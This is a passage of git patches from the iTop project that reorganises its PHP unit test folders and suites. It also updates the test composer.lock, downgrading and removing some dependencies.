diff --git a/test/core/sanitizer/output/scripts.html b/test/php-unit-tests/tests/core/sanitizer/output/scripts.html
similarity index 100%
rename from test/core/sanitizer/output/scripts.html
rename to test/php-unit-tests/tests/core/sanitizer/output/scripts.html
diff --git a/test/core/sanitizer/output/scripts.svg b/test/php-unit-tests/tests/core/sanitizer/output/scripts.svg
similarity index 100%
rename from test/core/sanitizer/output/scripts.svg
rename to test/php-unit-tests/tests/core/sanitizer/output/scripts.svg
diff --git a/test/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt b/test/php-unit-tests/tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt
similarity index 100%
rename from test/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt
rename to test/php-unit-tests/tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt
diff --git a/test/coreExtensions/UserLocalTest.php b/test/php-unit-tests/tests/coreExtensions/UserLocalTest.php
similarity index 100%
rename from test/coreExtensions/UserLocalTest.php
rename to test/php-unit-tests/tests/coreExtensions/UserLocalTest.php
diff --git a/test/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php b/test/php-unit-tests/tests/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php
similarity index 100%
rename from test/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php
rename to test/php-unit-tests/tests/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php
diff --git a/test/itop-config/Validator/iTopConfigAstValidatorTest.php b/test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php
similarity index 100%
rename from test/itop-config/Validator/iTopConfigAstValidatorTest.php
rename to test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php
diff --git a/test/itop-config/Validator/iTopConfigSyntaxValidatorTest.php b/test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php
similarity index 100%
rename from test/itop-config/Validator/iTopConfigSyntaxValidatorTest.php
rename to test/php-unit-tests/tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php
diff --git a/test/itop-tickets/itopTicketTest.php b/test/php-unit-tests/tests/datamodels/2.x/itop-tickets/itopTicketTest.php
similarity index 100%
rename from test/itop-tickets/itopTicketTest.php
rename to test/php-unit-tests/tests/datamodels/2.x/itop-tickets/itopTicketTest.php
diff --git a/test/setup/DBBackupTest.php b/test/php-unit-tests/tests/setup/DBBackupTest.php
similarity index 100%
rename from test/setup/DBBackupTest.php
rename to test/php-unit-tests/tests/setup/DBBackupTest.php
diff --git a/test/setup/SetupUtilsTest.php b/test/php-unit-tests/tests/setup/SetupUtilsTest.php
similarity index 100%
rename from test/setup/SetupUtilsTest.php
rename to test/php-unit-tests/tests/setup/SetupUtilsTest.php
diff --git a/test/setup/iTopDesignFormat/1.7_to_1.6.expected.xml b/test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml
similarity index 100%
rename from test/setup/iTopDesignFormat/1.7_to_1.6.expected.xml
rename to test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml
diff --git a/test/setup/iTopDesignFormat/1.7_to_1.6.input.xml b/test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml
similarity index 100%
rename from test/setup/iTopDesignFormat/1.7_to_1.6.input.xml
rename to test/php-unit-tests/tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml
diff --git a/test/setup/iTopDesignFormat/iTopDesignFormatTest.php b/test/php-unit-tests/tests/setup/iTopDesignFormat/iTopDesignFormatTest.php
similarity index 100%
rename from test/setup/iTopDesignFormat/iTopDesignFormatTest.php
rename to test/php-unit-tests/tests/setup/iTopDesignFormat/iTopDesignFormatTest.php
diff --git a/test/status/StatusIncTest.php b/test/php-unit-tests/tests/status/StatusIncTest.php
similarity index 100%
rename from test/status/StatusIncTest.php
rename to test/php-unit-tests/tests/status/StatusIncTest.php
diff --git a/test/status/StatusTest.php b/test/php-unit-tests/tests/status/StatusTest.php
similarity index 100%
rename from test/status/StatusTest.php
rename to test/php-unit-tests/tests/status/StatusTest.php
diff --git a/test/status/status.php b/test/php-unit-tests/tests/status/status.php
similarity index 100%
rename from test/status/status.php
rename to test/php-unit-tests/tests/status/status.php
diff --git a/test/webservices/RestTest.php b/test/php-unit-tests/tests/webservices/RestTest.php
similarity index 100%
rename from test/webservices/RestTest.php
rename to test/php-unit-tests/tests/webservices/RestTest.php
diff --git a/test/unittestautoload.php b/test/php-unit-tests/unittestautoload.php
similarity index 100%
rename from test/unittestautoload.php
rename to test/php-unit-tests/unittestautoload.php
diff --git a/test/composer.lock b/tests/php-unit-tests/composer.lock
similarity index 77%
rename from test/composer.lock
rename to tests/php-unit-tests/composer.lock
index 1dadb48f1..28f127346 100644
--- a/test/composer.lock
+++ b/tests/php-unit-tests/composer.lock
@@ -247,233 +247,6 @@
             },
             "time": "2022-02-21T01:04:05+00:00"
         },
-        {
-            "name": "phpdocumentor/reflection-common",
-            "version": "2.2.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/phpDocumentor/ReflectionCommon.git",
-                "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/phpDocumentor/ReflectionCommon/zipball/1d01c49d4ed62f25aa84a747ad35d5a16924662b",
-                "reference": "1d01c49d4ed62f25aa84a747ad35d5a16924662b",
-                "shasum": ""
-            },
-            "require": {
-                "php": "^7.2 || ^8.0"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-2.x": "2.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "phpDocumentor\\Reflection\\": "src/"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Jaap van Otterdijk",
-                    "email": "opensource@ijaap.nl"
-                }
-            ],
-            "description": "Common reflection classes used by phpdocumentor to reflect the code structure",
-            "homepage": "http://www.phpdoc.org",
-            "keywords": [
-                "FQSEN",
-                "phpDocumentor",
-                "phpdoc",
-                "reflection",
-                "static analysis"
-            ],
-            "support": {
-                "issues": "https://github.com/phpDocumentor/ReflectionCommon/issues",
-                "source": "https://github.com/phpDocumentor/ReflectionCommon/tree/2.x"
-            },
-            "time": "2020-06-27T09:03:43+00:00"
-        },
-        {
-            "name": "phpdocumentor/reflection-docblock",
-            "version": "5.3.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/phpDocumentor/ReflectionDocBlock.git",
-                "reference": "622548b623e81ca6d78b721c5e029f4ce664f170"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/phpDocumentor/ReflectionDocBlock/zipball/622548b623e81ca6d78b721c5e029f4ce664f170",
-                "reference": "622548b623e81ca6d78b721c5e029f4ce664f170",
-                "shasum": ""
-            },
-            "require": {
-                "ext-filter": "*",
-                "php": "^7.2 || ^8.0",
-                "phpdocumentor/reflection-common": "^2.2",
-                "phpdocumentor/type-resolver": "^1.3",
-                "webmozart/assert": "^1.9.1"
-            },
-            "require-dev": {
-                "mockery/mockery": "~1.3.2",
-                "psalm/phar": "^4.8"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "5.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "phpDocumentor\\Reflection\\": "src"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Mike van Riel",
-                    "email": "me@mikevanriel.com"
-                },
-                {
-                    "name": "Jaap van Otterdijk",
-                    "email": "account@ijaap.nl"
-                }
-            ],
-            "description": "With this component, a library can provide support for annotations via DocBlocks or otherwise retrieve information that is embedded in a DocBlock.",
-            "support": {
-                "issues": "https://github.com/phpDocumentor/ReflectionDocBlock/issues",
-                "source": "https://github.com/phpDocumentor/ReflectionDocBlock/tree/5.3.0"
-            },
-            "time": "2021-10-19T17:43:47+00:00"
-        },
-        {
-            "name": "phpdocumentor/type-resolver",
-            "version": "1.6.1",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/phpDocumentor/TypeResolver.git",
-                "reference": "77a32518733312af16a44300404e945338981de3"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/phpDocumentor/TypeResolver/zipball/77a32518733312af16a44300404e945338981de3",
-                "reference": "77a32518733312af16a44300404e945338981de3",
-                "shasum": ""
-            },
-            "require": {
-                "php": "^7.2 || ^8.0",
-                "phpdocumentor/reflection-common": "^2.0"
-            },
-            "require-dev": {
-                "ext-tokenizer": "*",
-                "psalm/phar": "^4.8"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-1.x": "1.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "phpDocumentor\\Reflection\\": "src"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Mike van Riel",
-                    "email": "me@mikevanriel.com"
-                }
-            ],
-            "description": "A PSR-5 based resolver of Class names, Types and Structural Element Names",
-            "support": {
-                "issues": "https://github.com/phpDocumentor/TypeResolver/issues",
-                "source": "https://github.com/phpDocumentor/TypeResolver/tree/1.6.1"
-            },
-            "time": "2022-03-15T21:29:03+00:00"
-        },
-        {
-            "name": "phpspec/prophecy",
-            "version": "v1.15.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/phpspec/prophecy.git",
-                "reference": "bbcd7380b0ebf3961ee21409db7b38bc31d69a13"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/phpspec/prophecy/zipball/bbcd7380b0ebf3961ee21409db7b38bc31d69a13",
-                "reference": "bbcd7380b0ebf3961ee21409db7b38bc31d69a13",
-                "shasum": ""
-            },
-            "require": {
-                "doctrine/instantiator": "^1.2",
-                "php": "^7.2 || ~8.0, <8.2",
-                "phpdocumentor/reflection-docblock": "^5.2",
-                "sebastian/comparator": "^3.0 || ^4.0",
-                "sebastian/recursion-context": "^3.0 || ^4.0"
-            },
-            "require-dev": {
-                "phpspec/phpspec": "^6.0 || ^7.0",
-                "phpunit/phpunit": "^8.0 || ^9.0"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.x-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Prophecy\\": "src/Prophecy"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Konstantin Kudryashov",
-                    "email": "ever.zet@gmail.com",
-                    "homepage": "http://everzet.com"
-                },
-                {
-                    "name": "Marcello Duarte",
-                    "email": "marcello.duarte@gmail.com"
-                }
-            ],
-            "description": "Highly opinionated mocking framework for PHP 5.3+",
-            "homepage": "https://github.com/phpspec/prophecy",
-            "keywords": [
-                "Double",
-                "Dummy",
-                "fake",
-                "mock",
-                "spy",
-                "stub"
-            ],
-            "support": {
-                "issues": "https://github.com/phpspec/prophecy/issues",
-                "source": "https://github.com/phpspec/prophecy/tree/v1.15.0"
-            },
-            "time": "2021-12-08T12:19:24+00:00"
-        },
         {
             "name": "phpunit/php-code-coverage",
             "version": "7.0.15",
@@ -713,29 +486,29 @@
         },
         {
             "name": "phpunit/php-token-stream",
-            "version": "4.0.4",
+            "version": "3.1.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/sebastianbergmann/php-token-stream.git",
-                "reference": "a853a0e183b9db7eed023d7933a858fa1c8d25a3"
+                "reference": "9c1da83261628cb24b6a6df371b6e312b3954768"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/a853a0e183b9db7eed023d7933a858fa1c8d25a3",
-                "reference": "a853a0e183b9db7eed023d7933a858fa1c8d25a3",
+                "url": "https://api.github.com/repos/sebastianbergmann/php-token-stream/zipball/9c1da83261628cb24b6a6df371b6e312b3954768",
+                "reference": "9c1da83261628cb24b6a6df371b6e312b3954768",
                 "shasum": ""
             },
             "require": {
                 "ext-tokenizer": "*",
-                "php": "^7.3 || ^8.0"
+                "php": ">=7.1"
             },
             "require-dev": {
-                "phpunit/phpunit": "^9.0"
+                "phpunit/phpunit": "^7.0"
             },
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "4.0-dev"
+                    "dev-master": "3.1-dev"
                 }
             },
             "autoload": {
@@ -760,7 +533,7 @@
             ],
             "support": {
                 "issues": "https://github.com/sebastianbergmann/php-token-stream/issues",
-                "source": "https://github.com/sebastianbergmann/php-token-stream/tree/master"
+                "source": "https://github.com/sebastianbergmann/php-token-stream/tree/3.1.3"
             },
             "funding": [
                 {
@@ -769,20 +542,20 @@
                 }
             ],
             "abandoned": true,
-            "time": "2020-08-04T08:28:15+00:00"
+            "time": "2021-07-26T12:15:06+00:00"
         },
         {
             "name": "phpunit/phpunit",
-            "version": "8.5.26",
+            "version": "8.5.30",
             "source": {
                 "type": "git",
                 "url": "https://github.com/sebastianbergmann/phpunit.git",
-                "reference": "ef117c59fc4c54a979021b26d08a3373e386606d"
+                "reference": "4fd448df9affda65a5faa58f8b93087d415216ce"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/ef117c59fc4c54a979021b26d08a3373e386606d",
-                "reference": "ef117c59fc4c54a979021b26d08a3373e386606d",
+                "url": "https://api.github.com/repos/sebastianbergmann/phpunit/zipball/4fd448df9affda65a5faa58f8b93087d415216ce",
+                "reference": "4fd448df9affda65a5faa58f8b93087d415216ce",
                 "shasum": ""
             },
             "require": {
@@ -797,24 +570,20 @@
                 "phar-io/manifest": "^2.0.3",
                 "phar-io/version": "^3.0.2",
                 "php": ">=7.2",
-                "phpspec/prophecy": "^1.10.3",
                 "phpunit/php-code-coverage": "^7.0.12",
                 "phpunit/php-file-iterator": "^2.0.4",
                 "phpunit/php-text-template": "^1.2.1",
                 "phpunit/php-timer": "^2.1.2",
-                "sebastian/comparator": "^3.0.2",
+                "sebastian/comparator": "^3.0.5",
                 "sebastian/diff": "^3.0.2",
                 "sebastian/environment": "^4.2.3",
-                "sebastian/exporter": "^3.1.2",
+                "sebastian/exporter": "^3.1.5",
                 "sebastian/global-state": "^3.0.0",
                 "sebastian/object-enumerator": "^3.0.3",
                 "sebastian/resource-operations": "^2.0.1",
                 "sebastian/type": "^1.1.3",
                 "sebastian/version": "^2.0.1"
             },
-            "require-dev": {
-                "ext-pdo": "*"
-            },
             "suggest": {
                 "ext-soap": "*",
                 "ext-xdebug": "*",
@@ -854,7 +623,7 @@
             ],
             "support": {
                 "issues": "https://github.com/sebastianbergmann/phpunit/issues",
-                "source": "https://github.com/sebastianbergmann/phpunit/tree/8.5.26"
+                "source": "https://github.com/sebastianbergmann/phpunit/tree/8.5.30"
             },
             "funding": [
                 {
@@ -864,9 +633,13 @@
                 {
                     "url": "https://github.com/sebastianbergmann",
                     "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/phpunit/phpunit",
+                    "type": "tidelift"
                 }
             ],
-            "time": "2022-04-01T12:34:39+00:00"
+            "time": "2022-09-25T03:43:00+00:00"
         },
         {
             "name": "sebastian/code-unit-reverse-lookup",
@@ -925,16 +698,16 @@
         },
         {
             "name": "sebastian/comparator",
-            "version": "3.0.3",
+            "version": "3.0.5",
             "source": {
                 "type": "git",
                 "url": "https://github.com/sebastianbergmann/comparator.git",
-                "reference": "1071dfcef776a57013124ff35e1fc41ccd294758"
+                "reference": "1dc7ceb4a24aede938c7af2a9ed1de09609ca770"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/1071dfcef776a57013124ff35e1fc41ccd294758",
-                "reference": "1071dfcef776a57013124ff35e1fc41ccd294758",
+                "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/1dc7ceb4a24aede938c7af2a9ed1de09609ca770",
+                "reference": "1dc7ceb4a24aede938c7af2a9ed1de09609ca770",
                 "shasum": ""
             },
             "require": {
@@ -987,7 +760,7 @@
             ],
             "support": {
                 "issues": "https://github.com/sebastianbergmann/comparator/issues",
-                "source": "https://github.com/sebastianbergmann/comparator/tree/3.0.3"
+                "source": "https://github.com/sebastianbergmann/comparator/tree/3.0.5"
             },
             "funding": [
                 {
@@ -995,7 +768,7 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-11-30T08:04:30+00:00"
+            "time": "2022-09-14T12:31:48+00:00"
         },
         {
             "name": "sebastian/diff",
@@ -1128,16 +901,16 @@
         },
         {
             "name": "sebastian/exporter",
-            "version": "3.1.4",
+            "version": "3.1.5",
             "source": {
                 "type": "git",
                 "url": "https://github.com/sebastianbergmann/exporter.git",
-                "reference": "0c32ea2e40dbf59de29f3b49bf375176ce7dd8db"
+                "reference": "73a9676f2833b9a7c36968f9d882589cd75511e6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/0c32ea2e40dbf59de29f3b49bf375176ce7dd8db",
-                "reference": "0c32ea2e40dbf59de29f3b49bf375176ce7dd8db",
+                "url": "https://api.github.com/repos/sebastianbergmann/exporter/zipball/73a9676f2833b9a7c36968f9d882589cd75511e6",
+                "reference": "73a9676f2833b9a7c36968f9d882589cd75511e6",
                 "shasum": ""
             },
             "require": {
@@ -1193,7 +966,7 @@
             ],
             "support": {
                 "issues": "https://github.com/sebastianbergmann/exporter/issues",
-                "source": "https://github.com/sebastianbergmann/exporter/tree/3.1.4"
+                "source": "https://github.com/sebastianbergmann/exporter/tree/3.1.5"
             },
             "funding": [
                 {
@@ -1201,7 +974,7 @@
                     "type": "github"
                 }
             ],
-            "time": "2021-11-11T13:51:24+00:00"
+            "time": "2022-09-14T06:00:17+00:00"
         },
         {
             "name": "sebastian/global-state",
@@ -1635,88 +1408,6 @@
             },
             "time": "2021-01-04T13:25:10+00:00"
         },
-        {
-            "name": "symfony/polyfill-ctype",
-            "version": "v1.25.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-ctype.git",
-                "reference": "30885182c981ab175d4d034db0f6f469898070ab"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/30885182c981ab175d4d034db0f6f469898070ab",
-                "reference": "30885182c981ab175d4d034db0f6f469898070ab",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "provide": {
-                "ext-ctype": "*"
-            },
-            "suggest": {
-                "ext-ctype": "For best performance"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.23-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "files": [
-                    "bootstrap.php"
-                ],
-                "psr-4": {
-                    "Symfony\\Polyfill\\Ctype\\": ""
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Gert de Pagter",
-                    "email": "BackEndTea@gmail.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill for ctype functions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "ctype",
-                "polyfill",
-                "portable"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-ctype/tree/v1.25.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2021-10-20T20:35:02+00:00"
-        },
         {
             "name": "theseer/tokenizer",
             "version": "1.2.1",
@@ -1766,64 +1457,6 @@
                 }
             ],
             "time": "2021-07-28T10:34:58+00:00"
-        },
-        {
-            "name": "webmozart/assert",
-            "version": "1.10.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/webmozarts/assert.git",
-                "reference": "6964c76c7804814a842473e0c8fd15bab0f18e25"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/webmozarts/assert/zipball/6964c76c7804814a842473e0c8fd15bab0f18e25",
-                "reference": "6964c76c7804814a842473e0c8fd15bab0f18e25",
-                "shasum": ""
-            },
-            "require": {
-                "php": "^7.2 || ^8.0",
-                "symfony/polyfill-ctype": "^1.8"
-            },
-            "conflict": {
-                "phpstan/phpstan": "<0.12.20",
-                "vimeo/psalm": "<4.6.1 || 4.6.2"
-            },
-            "require-dev": {
-                "phpunit/phpunit": "^8.5.13"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-master": "1.10-dev"
-                }
-            },
-            "autoload": {
-                "psr-4": {
-                    "Webmozart\\Assert\\": "src/"
-                }
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Bernhard Schussek",
-                    "email": "bschussek@gmail.com"
-                }
-            ],
-            "description": "Assertions to validate method input/output with nice error messages.",
-            "keywords": [
-                "assert",
-                "check",
-                "validate"
-            ],
-            "support": {
-                "issues": "https://github.com/webmozarts/assert/issues",
-                "source": "https://github.com/webmozarts/assert/tree/1.10.0"
-            },
-            "time": "2021-03-09T10:59:23+00:00"
         }
     ],
     "aliases": [],
@@ -1833,5 +1466,5 @@
     "prefer-lowest": false,
     "platform": [],
     "platform-dev": [],
-    "plugin-api-version": "2.3.0"
+    "plugin-api-version": "2.1.0"
 }

From c06cbfd4a934a795179803a5b0348bffc62354cb Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 13:21:28 +0200
Subject: [PATCH 087/230] =?UTF-8?q?N=C2=B05608=20-=20Rename=20"coreExtensi?=
 =?UTF-8?q?ons"=20test=20suite=20to=20correct=20datamodel=20module=20(auth?=
 =?UTF-8?q?ent-local)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 test/php-unit-tests/phpunit.xml.dist                        | 6 +++---
 .../2.x/authent-local}/UserLocalTest.php                    | 2 +-
 .../UserLocalTest/UserLocalPasswordPolicyMock.php           | 0
 3 files changed, 4 insertions(+), 4 deletions(-)
 rename test/php-unit-tests/tests/{coreExtensions => datamodels/2.x/authent-local}/UserLocalTest.php (98%)
 rename test/php-unit-tests/tests/{coreExtensions => datamodels/2.x/authent-local}/UserLocalTest/UserLocalPasswordPolicyMock.php (100%)

diff --git a/test/php-unit-tests/phpunit.xml.dist b/test/php-unit-tests/phpunit.xml.dist
index 703b2b363..450a4cc2e 100644
--- a/test/php-unit-tests/phpunit.xml.dist
+++ b/test/php-unit-tests/phpunit.xml.dist
@@ -34,12 +34,12 @@
     
       tests/core
     
-    
-      tests/coreExtensions
-    
     
       integration
     
+    
+      tests/datamodels/2.x/authent-local
+    
     
       tests/datamodels/2.x/itop-config
     
diff --git a/test/php-unit-tests/tests/coreExtensions/UserLocalTest.php b/test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest.php
similarity index 98%
rename from test/php-unit-tests/tests/coreExtensions/UserLocalTest.php
rename to test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest.php
index 889a44813..b82eeee6b 100644
--- a/test/php-unit-tests/tests/coreExtensions/UserLocalTest.php
+++ b/test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest.php
@@ -25,7 +25,7 @@ class UserLocalTest extends ItopDataTestCase
 	{
 		parent::setUp();
 
-		require_once(APPROOT.'test/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php');
+		require_once(APPROOT.'test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php');
 		require_once(APPROOT.'env-production/authent-local/model.authent-local.php');
 	}
 
diff --git a/test/php-unit-tests/tests/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php b/test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php
similarity index 100%
rename from test/php-unit-tests/tests/coreExtensions/UserLocalTest/UserLocalPasswordPolicyMock.php
rename to test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php

From a3e309acb515848f0b2ee1f703396610e4769407 Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 14:31:53 +0200
Subject: [PATCH 088/230] =?UTF-8?q?N=C2=B05608=20-=20Revert=20"authent-loc?=
 =?UTF-8?q?al"=20test=20suite=20to=20its=20original=20rank=20as=20it=20is?=
 =?UTF-8?q?=20crashing=20the=20CI=20=F0=9F=A4=94?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 test/php-unit-tests/phpunit.xml.dist | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/test/php-unit-tests/phpunit.xml.dist b/test/php-unit-tests/phpunit.xml.dist
index 450a4cc2e..6bc9513a3 100644
--- a/test/php-unit-tests/phpunit.xml.dist
+++ b/test/php-unit-tests/phpunit.xml.dist
@@ -34,12 +34,13 @@
     
       tests/core
     
-    
-      integration
-    
+    
     
       tests/datamodels/2.x/authent-local
     
+    
+      integration
+    
     
       tests/datamodels/2.x/itop-config
     

From d9539f9d01d23c335b3805fb755e975bb86cda61 Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 19:55:44 +0200
Subject: [PATCH 089/230] =?UTF-8?q?N=C2=B05608=20-=20Add=20comments=20to?=
 =?UTF-8?q?=20main=20autoloader?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 test/php-unit-tests/unittestautoload.php | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/test/php-unit-tests/unittestautoload.php b/test/php-unit-tests/unittestautoload.php
index fcc03e10b..1e96a56bf 100644
--- a/test/php-unit-tests/unittestautoload.php
+++ b/test/php-unit-tests/unittestautoload.php
@@ -1,5 +1,9 @@
 
Date: Thu, 13 Oct 2022 20:04:48 +0200
Subject: [PATCH 090/230] =?UTF-8?q?N=C2=B05608=20-=20Rename=20"VisualTests?=
 =?UTF-8?q?"=20folder=20to=20match=20new=20convention?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../attributeset_widget_poc.html                                  | 0
 test/{VisualTest => manual-visual-tests}/sanitize_test.php        | 0
 2 files changed, 0 insertions(+), 0 deletions(-)
 rename test/{VisualTest => manual-visual-tests}/attributeset_widget_poc.html (100%)
 rename test/{VisualTest => manual-visual-tests}/sanitize_test.php (100%)

diff --git a/test/VisualTest/attributeset_widget_poc.html b/test/manual-visual-tests/attributeset_widget_poc.html
similarity index 100%
rename from test/VisualTest/attributeset_widget_poc.html
rename to test/manual-visual-tests/attributeset_widget_poc.html
diff --git a/test/VisualTest/sanitize_test.php b/test/manual-visual-tests/sanitize_test.php
similarity index 100%
rename from test/VisualTest/sanitize_test.php
rename to test/manual-visual-tests/sanitize_test.php

From 4f88a0e7d2693ab49423e2d515911e3c149452ab Mon Sep 17 00:00:00 2001
From: Molkobain 
Date: Thu, 13 Oct 2022 20:59:02 +0200
Subject: [PATCH 091/230] =?UTF-8?q?N=C2=B05608=20-=20Move=20legacy=20PHP?=
 =?UTF-8?q?=20unit=20tests=20(not=20run=20by=20CI)=20to=20a=20dedicated=20?=
 =?UTF-8?q?folder?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 test/{ => php-unit-tests/legacy-tests}/GroupByAndFunctions.php  | 2 +-
 test/{ => php-unit-tests/legacy-tests}/VerifyOQL.php            | 2 +-
 test/{ => php-unit-tests/legacy-tests}/benchmark.php            | 2 +-
 test/{ => php-unit-tests/legacy-tests}/build_test_oql.php       | 2 +-
 test/{ => php-unit-tests/legacy-tests}/config-test-farm.php     | 0
 .../{ => php-unit-tests/legacy-tests}/display_cache_content.php | 2 +-
 test/{ => php-unit-tests/legacy-tests}/replay_query_log.php     | 2 +-
 test/{ => php-unit-tests/legacy-tests}/test.class.inc.php       | 0
 test/{ => php-unit-tests/legacy-tests}/test.php                 | 2 +-
 test/{ => php-unit-tests/legacy-tests}/testlist.inc.php         | 0
 10 files changed, 7 insertions(+), 7 deletions(-)
 rename test/{ => php-unit-tests/legacy-tests}/GroupByAndFunctions.php (99%)
 rename test/{ => php-unit-tests/legacy-tests}/VerifyOQL.php (99%)
 rename test/{ => php-unit-tests/legacy-tests}/benchmark.php (99%)
 rename test/{ => php-unit-tests/legacy-tests}/build_test_oql.php (98%)
 rename test/{ => php-unit-tests/legacy-tests}/config-test-farm.php (100%)
 rename test/{ => php-unit-tests/legacy-tests}/display_cache_content.php (98%)
 rename test/{ => php-unit-tests/legacy-tests}/replay_query_log.php (99%)
 rename test/{ => php-unit-tests/legacy-tests}/test.class.inc.php (100%)
 rename test/{ => php-unit-tests/legacy-tests}/test.php (98%)
 rename test/{ => php-unit-tests/legacy-tests}/testlist.inc.php (100%)

diff --git a/test/GroupByAndFunctions.php b/test/php-unit-tests/legacy-tests/GroupByAndFunctions.php
similarity index 99%
rename from test/GroupByAndFunctions.php
rename to test/php-unit-tests/legacy-tests/GroupByAndFunctions.php
index ffb1c4862..8806dd737 100644
